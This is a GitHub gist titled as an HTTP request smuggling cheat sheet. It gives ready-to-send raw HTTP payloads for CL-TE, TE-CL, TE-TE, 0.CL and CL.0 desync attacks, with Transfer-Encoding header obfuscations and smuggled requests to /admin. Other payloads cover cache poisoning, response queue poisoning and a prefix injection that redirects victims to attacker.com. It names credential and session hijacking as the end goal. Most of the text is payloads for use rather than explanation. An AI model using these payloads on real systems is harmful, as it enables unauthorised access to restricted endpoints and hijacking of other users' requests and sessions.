Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Select an option

  • Save aravindkumarsvg/25ca186de28ba75e03a3a3719e22607c to your computer and use it in GitHub Desktop.

Select an option

Save aravindkumarsvg/25ca186de28ba75e03a3a3719e22607c to your computer and use it in GitHub Desktop.
HTTP Request Smuggling Cheatsheet

πŸ”₯ HTTP Request Smuggling Cheat Sheet

🧠 Core Idea

Smuggling happens when:

  • Frontend (proxy/load balancer) and
  • Backend (app server)

disagree on request boundaries

Main headers involved:

  • Content-Length
  • Transfer-Encoding: chunked
image image image image

πŸ§ͺ 1. CL-TE (Content-Length + Transfer-Encoding)

πŸ‘‰ Frontend uses Content-Length

πŸ‘‰ Backend uses Transfer-Encoding

image

βœ… Basic CL-TE Payload

POST / HTTP/1.1
Host: target.com
Content-Length: 13
Transfer-Encoding: chunked

0

G

πŸ” What happens:

  • Frontend reads 13 bytes
  • Backend sees chunked β†’ stops at 0
  • Extra G becomes next request prefix

βœ… CL-TE Smuggling (Poison next request)

POST / HTTP/1.1
Host: target.com
Content-Length: 6
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: target.com

πŸ§ͺ Detection Clues

  • Delayed response
  • 400/502 inconsistencies
  • Next user request behaves weirdly

πŸ§ͺ 2. TE-CL (Transfer-Encoding + Content-Length)

πŸ‘‰ Frontend uses Transfer-Encoding

πŸ‘‰ Backend uses Content-Length

image

βœ… Basic TE-CL Payload

POST / HTTP/1.1
Host: target.com
Transfer-Encoding: chunked
Content-Length: 50

0

GET /admin HTTP/1.1
Host: target.com

πŸ” What happens:

  • Frontend stops at 0
  • Backend uses Content-Length: 50
  • Reads extra data β†’ smuggled request

βœ… TE-CL Exploit (Prefix attack)

POST / HTTP/1.1
Host: target.com
Transfer-Encoding: chunked
Content-Length: 4

0

X

Then next request gets prefixed with X


πŸ§ͺ 3. TE-TE (Transfer-Encoding ambiguity)

πŸ‘‰ Both use TE but parse differently

image

πŸ”₯ Variants to try

1. Obfuscated header

Transfer-Encoding: chunked
Transfer-Encoding: x

2. Case variation

Transfer-Encoding: Chunked
Transfer-Encoding: chunked

3. Space bypass

Transfer-Encoding : chunked

4. Tab/newline tricks

Transfer-Encoding: chunked
 Transfer-Encoding: identity

5. Chunk size confusion

POST / HTTP/1.1
Host: target.com
Transfer-Encoding: chunked

5
Hello
0

GET /admin HTTP/1.1
Host: target.com

πŸ§ͺ 4. Advanced Payloads (Real Testing)


πŸ”₯ Prefix Smuggling

POST / HTTP/1.1
Host: target.com
Content-Length: 20
Transfer-Encoding: chunked

0

POST /malicious HTTP/1.1
Host: target.com

πŸ”₯ Cache Poisoning

GET / HTTP/1.1
Host: target.com
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: target.com
X-Ignore: X

πŸ”₯ Header Injection via Smuggling

POST / HTTP/1.1
Host: target.com
Content-Length: 40
Transfer-Encoding: chunked

0

GET / HTTP/1.1
Host: target.com
X-Injected: yes

πŸ§ͺ 5. Tools & Tips

Use:

  • Burp Repeater (disable auto-update Content-Length)
  • HTTP/1.1 (NOT HTTP/2 unless testing downgrades)

πŸ” Key Indicators

Behavior Meaning
Timeout Possible desync
502/400 mismatch Parsing difference
Strange responses Smuggling likely
Next request affected Confirmed

⚠️ Common Bypasses

Try variations:

  • Transfer-Encoding: chunked, identity

  • Duplicate headers

  • Mixed casing

  • Extra spaces

  • HTTP/1.0 downgrade

  • Chunk extensions:

    5;test=1
    Hello
    

🧠 Pro Testing Strategy

  1. Start with CL-TE

  2. Move to TE-CL

  3. Try TE-TE obfuscations

  4. Confirm using:

    • Prefix injection
    • Response desync
    • Cache poisoning

πŸ” HTTP Desync Identification Cheat Sheet

Goal: Determine whether FE/BE use:

  • Content-Length (CL)
  • Transfer-Encoding (TE)

πŸ§ͺ 0. Baseline Rule

Behavior Meaning
Immediate 400 Parser rejected input
Timeout / hang Waiting for more bytes
Normal response That parser ignored ambiguity

πŸ§ͺ 1. Identify Front-End Behavior

βœ… Test: Does FE support Transfer-Encoding?

πŸ“Œ Request (Invalid chunk)

GET / HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 6

3\r\n
abc\r\n
X\r\n

πŸ” Interpretation

  • ❌ 400 Bad Request β†’ FE is parsing chunked (TE)
  • βœ… No error / forwarded β†’ FE likely ignores TE β†’ uses CL

βœ… Alternative TE Detection (cleaner)

POST / HTTP/1.1
Host: example.com
Transfer-Encoding: chunked

Z

πŸ” Result:

  • ❌ 400 β†’ FE parses TE
  • βœ… Forwarded β†’ FE ignores TE

βœ… Test: Does FE use Content-Length?

POST / HTTP/1.1
Host: example.com
Content-Length: 10

abc

πŸ” Result:

  • ⏳ Timeout β†’ FE waiting β†’ uses CL
  • ⚑ Immediate response β†’ ignores CL

πŸ§ͺ 2. Identify Back-End Behavior

βœ… Test: Backend uses Content-Length

GET / HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 6

0\r\n
\r\n
X\r\n

πŸ” Interpretation:

  • ⏳ Timeout β†’ BE is waiting β†’ uses CL
  • ⚑ Immediate response β†’ BE uses TE

βœ… Test: Backend uses Transfer-Encoding

POST / HTTP/1.1
Host: example.com
Content-Length: 20
Transfer-Encoding: chunked

0

πŸ” Interpretation:

  • ⚑ Immediate response β†’ BE respects TE
  • ⏳ Timeout β†’ BE using CL

πŸ§ͺ 3. Combined Detection (CL vs TE matrix)

πŸ”₯ CL-TE Detection

POST / HTTP/1.1
Host: example.com
Content-Length: 6
Transfer-Encoding: chunked

0

X

πŸ” Results:

Behavior Meaning
Timeout FE=CL, BE=TE β†’ CL-TE vulnerable
Normal Not vulnerable

πŸ”₯ TE-CL Detection

POST / HTTP/1.1
Host: example.com
Transfer-Encoding: chunked
Content-Length: 6

0

X

πŸ” Results:

Behavior Meaning
Timeout FE=TE, BE=CL β†’ TE-CL vulnerable
Normal Not vulnerable

πŸ§ͺ 4. TE-TE (Parser Mismatch Detection)

βœ… Duplicate Header Test

POST / HTTP/1.1
Host: example.com
Transfer-Encoding: chunked
Transfer-Encoding: identity

0

πŸ” Results:

  • Different responses / inconsistencies β†’ TE-TE issue

βœ… Obfuscated TE

Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: cow

βœ… Chunk Size Edge Case

POST / HTTP/1.1
Host: example.com
Transfer-Encoding: chunked

5
abcde
0

X

πŸ” Result:

  • If X affects next request β†’ desync confirmed

πŸ§ͺ 5. Clean Verification Techniques

πŸ”₯ Prefix Injection Confirmation

POST / HTTP/1.1
Host: example.com
Content-Length: 20
Transfer-Encoding: chunked

0

G

Then send:

GET / HTTP/1.1
Host: example.com

πŸ” If response breaks β†’ confirmed smuggling


πŸ”₯ Response Queue Poisoning

Send smuggled request:

GET /admin HTTP/1.1
Host: example.com

Then normal user request:

GET / HTTP/1.1
Host: example.com

πŸ” If response mismatch β†’ confirmed


πŸ§ͺ 6. Quick Decision Flow

Step 1: FE detection

  • Invalid chunk β†’ 400? β†’ FE = TE
  • Otherwise β†’ FE = CL

Step 2: BE detection

  • Truncated chunk β†’ timeout? β†’ BE = CL
  • Otherwise β†’ BE = TE

Step 3: Confirm

  • CL-TE β†’ timeout
  • TE-CL β†’ timeout

⚠️ Important Notes

  • Always use:

    • Connection: keep-alive
  • Disable auto Content-Length fixes in Burp

  • Test multiple times (CDNs behave inconsistently)

  • HTTP/2 β†’ test downgrade scenarios


🧠 Pro Insight (Important)

Your example works because:

FE stops early β†’ BE waits β†’ desync gap created

That gap is the entire exploit surface


HTTP Request Smuggling Cheatsheet: 0.CL and CL.0


🧠 Overview

Variant Front-End Behavior Back-End Behavior
0.CL Ignores Content-Length (treats body as 0) Uses Content-Length
CL.0 Uses Content-Length Ignores Content-Length (treats body as 0)

πŸ”₯ 0.CL (Zero Content-Length Desync)

πŸ“Œ Concept

Front-end assumes no body β†’ forwards request immediately Back-end waits for body β†’ consumes next request as body


πŸ§ͺ Detection Payload (Timeout / Deadlock)

POST / HTTP/1.1
Host: victim.com
Content-Length: 10

Expected Behavior

  • Front-end forwards immediately
  • Back-end waits for 10 bytes
  • Connection hangs / timeout

βœ… Confirmation Payload

POST / HTTP/1.1
Host: victim.com
Content-Length: 20

GET /404 HTTP/1.1
X: X

Expected Behavior

  • Back-end consumes part of next request as body
  • Response anomalies (400 / redirect / unexpected output)

πŸ’£ Exploit Primitive

Step 1: Send Smuggling Request

POST / HTTP/1.1
Host: victim.com
Content-Length: 15

Step 2: Victim Request

GET /target HTTP/1.1
Host: victim.com

Result (Back-End Interpretation)

POST / HTTP/1.1
Content-Length: 15

GET /target HT

Remaining becomes malformed request β†’ desync achieved


⚑ Advanced Exploitation

  • Chain with second desync (0.CL β†’ CL.0)

  • Convert into request prefix injection

  • Use for:

    • Open redirect
    • Cache poisoning
    • Credential theft

πŸ”₯ CL.0 (Content-Length Ignored by Back-End)

πŸ“Œ Concept

Front-end respects Content-Length Back-end ignores it β†’ treats body as new request


πŸ§ͺ Detection Payload

image image
POST / HTTP/1.1
Host: victim.com
Content-Length: 20

GET /404 HTTP/1.1
Host: victim.com

Expected Behavior

  • Front-end sends full request

  • Back-end splits:

    • First request: POST /
    • Second request: GET /404

βœ… Confirmation Payload

POST / HTTP/1.1
Host: victim.com
Content-Length: 40

GET /admin HTTP/1.1
Host: victim.com

Expected Behavior

  • /admin accessed without direct request
  • Confirms request splitting at backend

πŸ’£ Exploit Payload (Request Smuggling)

POST / HTTP/1.1
Host: victim.com
Content-Length: 60

GET /malicious HTTP/1.1
Host: victim.com
X: X

Effect

  • Back-end processes:

    1. POST /
    2. GET /malicious

🎯 Prefix Injection Example

POST / HTTP/1.1
Host: victim.com
Content-Length: 80

GET /redirect HTTP/1.1
Host: victim.com
Location: https://attacker.com

Victim request becomes appended β†’ redirect triggered


πŸ” Testing Strategy

1. Identify Desync

  • Send partial body requests
  • Observe timeouts
  • Compare front-end vs back-end responses

2. Confirm Behavior

  • Inject secondary request inside body

  • Look for:

    • Unexpected responses
    • Redirects
    • Status code anomalies

3. Exploit

  • Align payload boundaries
  • Target victim-triggered endpoints
  • Use prefix injection for control

⚠️ Indicators of Vulnerability

  • Random 400 / 404 responses
  • Timeouts / hanging requests
  • Unexpected redirects
  • Partial responses
  • Cache inconsistencies

🧠 Key Insights

  • 0.CL alone often causes deadlock

  • CL.0 is easier to exploit directly

  • Combining both leads to powerful desync chains

  • server-level redirects, requests for static files, server errors are prime candidates

  • Goal is always:

    Control how the backend parses request boundaries


πŸš€ Pro Tips

  • Use tools like Burp Repeater with manual control
  • Send requests over single connection (keep-alive)
  • Use padding to align exact byte lengths
  • Target predictable endpoints (/resources, /static, etc.)

πŸ§ͺ Minimal Working Templates

0.CL

POST / HTTP/1.1
Host: victim.com
Content-Length: 10

CL.0

POST / HTTP/1.1
Host: victim.com
Content-Length: 30

GET / HTTP/1.1
Host: victim.com

🧨 Final Goal

Convert desync into:

  • Request prefix injection
  • Response queue poisoning
  • Credential/session hijacking

References

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment